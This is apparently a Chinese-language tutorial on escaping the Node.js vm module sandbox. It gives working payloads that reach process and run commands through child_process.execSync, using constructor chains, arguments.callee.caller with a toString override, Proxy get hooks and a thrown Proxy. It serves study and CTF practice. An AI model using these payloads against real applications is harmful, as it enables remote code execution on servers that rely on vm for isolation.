详解: https://xz.aliyun.com/t/11859?time__1311=mqmx0DBD9DyDuBYD%2FQbiQQdO70ttD%3DY4D&alichlgref=https%3A%2F%2Fcn.bing.com%2F
vm逃逸最重要的就是一个作用域的问题,如何逃离vm创建的作用域,逃离到global去,然后获取到process对象,进而用process去引用require命令执行
1.一些vm模块用法
1 2 3 4 5 6 7 8 9 10 11
| const util = require('util'); const vm = require('vm'); const sandbox = { animal: 'cat', count: 2 }; const script = new vm.Script('count += 1; name = "kitty";'); const context = vm.createContext(sandbox); script.runInContext(context); console.log(util.inspect(sandbox));
|
1 2 3 4 5 6 7 8
| const util = require('util'); const vm = require('vm'); global.globalVar = 3; const sandbox = { globalVar: 1 }; vm.createContext(sandbox); vm.runInContext('globalVar *= 2;', sandbox); console.log(util.inspect(sandbox)); console.log(util.inspect(globalVar));
|
2.VM逃逸
1 2 3 4
| "use strict"; const vm = require("vm"); const y1 = vm.runInNewContext(`this.constructor.constructor('return process.env')()`); console.log(y1);
|
这样就可以得到process,注意代码的this.constructor.constructor
首先这里面的this指向的是当前传递给runInNewContext的对象,这个对象是不属于沙箱环境的。第一个constructor得到的是这个this对象的构造器,第二个constructor得到的是构造器对象的构造器,也就是Function的Constructor,最后的()是调用这个用Function的constructor生成的函数,最终返回了一个process对象
然后就可以rce了:
1
| y1.mainModule.require('child_process').execSync('whoami').toString()
|
3.绕过
this为null
如果遇到传入sandbox的对象为null时,该怎么办呢,如下:
1 2 3 4 5 6
| const vm = require('vm'); const script = `...`; const sandbox = Object.create(null); const context = vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log('Hello ' + res)
|
此时this->null,无法像之前一样逃逸,这时候就得用到函数的一个内置对象属性arguments.callee.caller
我们上面演示的沙箱逃逸其实就是找到一个沙箱外的对象,并调用其中的方法,这种情况下也是一样的,我们只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| const vm = require('vm'); const script = `(() => { const a = {} a.toString = function () { const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString() } return a })()`;
const sandbox = Object.create(null); const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log('Hello ' + res)
|
重写了沙盒对象中的toString方法,然后再console.log触发,通过arguments.callee.caller获取到了一个沙盒外的对象,进而和上面一样获取process
proxy劫持
如果沙箱外没有执行字符串的相关操作来触发这个toString,并且也没有可以用来进行恶意重写的函数,我们可以用Proxy来劫持属性
proxy就是一个hook函数,在我们去访问对象的属性时(不管是否存在)都会触发这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| const vm = require("vm");
const script = ` (() =>{ const a = new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString(); } }) return a })() `; const sandbox = Object.create(null); const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log(res.abc)
|
如上代码就是将对象a实例化为了一个Proxy对象,然后访问abc属性(不存在)触发get方法,进而导致命令执行
借助异常处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| const vm = require("vm");
const script = ` throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString(); } }) `; try { vm.runInContext(script, vm.createContext(Object.create(null))); }catch(e) { console.log("error:" + e) }
|
上述代码的返回值无法直接利用,应该说是没有返回值
这里我们用catch捕获到了throw出的proxy对象,在console.log时由于将字符串与对象拼接,将报错信息和rce的回显一起带了出来。
参考
https://boogipop.com/2023/03/02/Node.Js%E5%AE%89%E5%85%A8%E5%88%86%E6%9E%90/#vm%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8